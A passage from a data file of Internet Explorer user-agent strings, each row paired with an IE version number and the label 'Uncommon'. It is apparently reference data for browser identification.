MATP),10,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 1.1.4322),8,Uncommon\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0; BOIE9;ENAU),9,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E),8,Uncommon\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0,9,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; InfoPath.2; .NET4.0C; .NET4.0E),8,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/6.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729),10,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; Tablet PC 2.0; .NET4.0E; NP08; MAAU),8,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; MDDC; BRI/1; .NET4.0C; BRI/2; MS-RTC LM 8; .NET4.0E; EIE10;ENUSWOL),8,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/6.0; Touch; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; HPNTDFJS; Tablet PC 2.0),10,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB7.4; chromeframe/28.0.1500.44; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; InfoPath.2; Tablet PC 2.0; MS-RTC EA 2; .NET4.0E; MS-RTC LM 8),8,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.3; OfficeLivePatch.0.0; InfoPath.2; .NET4.0C),9,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; EasyBits GO v1.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729),8,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1),7,Uncommon\nMozilla/5.0 (Windows NT 6.1; Trident/7.0; EIE10;ENUSMSE; rv:11.0) like Gecko,11,Uncommon\nMozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0; MATP; MATP),10,Uncommon\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; MAM3),9,Uncommon\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; Media Center PC 6.0; InfoPath.3; MS-RTC LM 8; Zune 4.7),9,Uncommon\nMozilla/5.0 (Windows NT 6.2; ARM; Trident/7.0; Touch; rv:11.0; WPDesktop; Lumia 830) like Gecko,11,Uncommon\nMozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/4.0; InfoPath.2; SV1; .NET CLR 2.0.50727; WOW64),8,Uncommon\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022),6,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Tablet PC 2.0; .NET4.0C),8,Uncommon\nMozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0; yie10),10,Uncommon\nMozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0; yie9),10,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; trident/7.0; slcc2; .net clr 2.0.50727; .net clr 3.5.30729; .net clr 3.0.30729; media center pc 6.0; infopath.3; .net4.0c; .net4.0e; gwx:qualified),11,Uncommon\nMozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0; MAARJS),10,Uncommon\nMozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0; MAM3),10,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0; GTB7.5; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0),8,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.2),9,Uncommon\nMozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; GIL 3.5; rv:11.0) like Gecko,11,Uncommon\nMozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; managedpc; rv:11.0) like Gecko,11,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; BTRS100206; GTB7.4; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C),8,Uncommon\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727),6,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E),11,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618),8,Uncommon\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0; msn OptimizedIE8;NLNL),9,Uncommon\nMozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; LCJB; rv:11.0) like Gecko,11,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729),7,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729),8,Uncommon\nMozilla/5.0 (Windows NT 6.1; Trident/7.0; BOIE9;ENGB; rv:11.0) like Gecko,11,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; .NET CLR 1.1.4322),8,Uncommon\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; MATP; MATP),9,Uncommon\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; yie8),9,Uncommon\nMozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0; MASBJS),10,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E),8,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729),8,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3; wbx 1.0.0),11,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0),9,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; GTB7.5; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; MDDRJS),8,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; eSobiSubscriber 2.0.4.16; MAAR; .NET4.0C; BRI/2; McAfee; BOIE9;ENUS),8,Uncommon\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; chromeframe/23.0.1271.97),9,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; MS-RTC LM 8; InfoPath.3; .NET CLR 1.1.4322),8,Uncommon\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; MATM),9,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/5.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0E; .NET4.0C),9,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 2.0.50727),8,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.5; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; CMDTDF),8,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727),8,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; MDDC; .NET4.0C),8,Uncommon\nMozilla/5.0 (Windows NT 6.3; Trident/7.0; Touch; MALCJS; rv:11.0) like Gecko,11,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C),10,Uncommon\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0; chromeframe/11.0.696.57),9,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729),8,Uncommon\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; chromeframe/11.0.696.57),9,Uncommon\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/6.0),10,Uncommon\nMozilla/4.0 (compatible; MSIE 6.01; Windows NT 6.0),6,Uncommon\nMozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; LCTE; rv:11.0) like Gecko,11,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; MathPlayer 2.20; chromeframe/28.0.1500.95; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E; InfoPath.3; IPH 1.1.21.4019),8,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.5; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; CMDTDF; .NET CLR 1.1.4322; .NET4.0C),8,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; GTB7.5; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; HPNTDF; .NET4.0C; BRI/1; .NET CLR 1.1.4322; yie9),8,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; .NET CLR 1.1.4322),9,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E; Tablet PC 2.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729),11,Uncommon\nMozilla/1.22 (compatible; MSIE 10.0; Windows 3.1),10,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 2.0.50727; SLCC2; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729),9,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E),7,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C),8,Uncommon\nMozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0; SMJB),10,Uncommon\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; chromeframe/32.0.1700.107),9,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.5; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 1.1.4322),8,Uncommon\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322),6,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; InfoPath.3),9,Uncommon\nMozilla/5.0 (Windows NT 6.2; ARM; Trident/7.0; Touch; rv:11.0; WPDesktop; Lumia 625) like Gecko,11,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB7.5; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618),7,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; wbx 1.0.0),11,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Tablet PC 2.0; ms-office),11,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; BTRS124342; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618; WinNT-EVU 03.12.2009; .NET4.0C; SRS_IT_E8790571B276585534AD99; .NET CLR 1.1.4322),8,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SIMBAR={55520BFF-6820-11E2-B317-00112FA12F29}; .NET CLR 1.1.4322; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; IPH 1.1.21.4019; .NET CLR 2.0.50727; .NET4.0E),8,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.5.30729; WinNT-EVI 25.02.2010; .NET4.0C; .NET CLR 3.0.30729),8,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; HotbarSearchToolbar 1.1; .NET CLR 1.1.4322; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET4.0C),8,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; MAAR; .NET4.0C),10,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C),8,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C),9,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2),9,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; ms-office),11,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; Tablet PC 2.0),11,Uncommon\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; chromeframe/12.0.742.112),9,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C),10,Uncommon\nMozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; Touch; MASPJS; rv:11.0) like Gecko,11,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; NGD_build; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3; MS-RTC LM 8; Tablet PC 2.0),8,Uncommon\nMozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; Touch; MATPJS; rv:11.0) like Gecko,11,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729),8,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko,gzip(gfe)\",11,Uncommon\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; BOIE9;ENUSMSE),9,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; InfoPath.3; .NET4.0E),10,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3),8,Uncommon\nMozilla/4.0 (compatible; MSIE 5.00; Windows 98),5,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; wbx 1.0.0),11,Uncommon\nMozilla/5.0 (Windows NT 6.2; Win64; x64; Trident/7.0; rv:11.0; Microsoft Outlook 14.0.7169),11,Uncommon\nMozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko,11,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; FBViewer-6.0.4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; FBViewer-6.0.4.0),8,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3; NISSC),8,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SIMBAR={BB210681-8FB0-11E2-83F4-B4FB7786AA37}; GTB7.5; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30618; .NET4.0C; BRI/1; BRI/2; AskTbORJ/5.15.23.36191),8,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0; GTB7.5; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; MAGW),8,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; MAEM; .NET4.0C),8,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; CMDTDF),9,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2; MS-RTC LM 8; MS-RTC S; .NET CLR 1.1.4322; .NET4.0C; .NET4.0E),7,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB7.2; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2),8,Uncommon\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR 1.0.3705;),6,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; .NET4.0C; .NET4.0E),9,Uncommon\nMozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; ASJB; MAAU; rv:11.0) like Gecko,11,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; ms-office),11,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; BRI/2),8,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET CLR 1.1.4322; .NET4.0C; .NET4.0E),8,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET4.0C; .NET CLR 3.0.30729),7,Uncommon\nMozilla/1.22 (compatible; MSIE 2.0; Windows 3.1),2.0,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; GWX:RESERVED),11,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.3; .NET4.0C; .NET4.0E),8,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/8.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Creative AutoUpdate v1.41.08),,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; VER#99#80838556506745484971484871; Tablet PC 2.0; InfoPath.2),11,Uncommon\nMozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; Touch; yie10; rv:11.0) like Gecko,11,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; CMDTDF; .NET4.0C; BRI/2),8,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; Comcast Install 1.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618; InfoPath.2; .NET4.0C; NET_mmhpset),8,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.5; chromeframe/30.0.1599.101; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; WinNT-EVI 12.01.2010; MS-RTC LM 8; .NET CLR 2.0.50727; lib/5.0\\0195; Engine/4.00195; 89670803),8,Uncommon\nMozilla/4.0 (compatible; MSIE 6.0; BREW 3.1.5; en )/800x480 Samsung SCH-U960,6,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; ARM; Trident/6.0; Touch; .NET4.0E; .NET4.0C; Tablet PC 2.0),10,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30618; .NET4.0C; .NET4.0E; MS-RTC LM 8),8,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3),11,Uncommon\nMozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; ATT-IE11; rv:11.0) like Gecko,11,Uncommon\nMozilla/4.0(compatible; MSIE 7.0; Windows NT 6.0),7,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; InfoPath.2),8,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729),7,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E; MS-RTC LM 8),8,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E; MS-RTC LM 8),8,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.2; Tablet PC 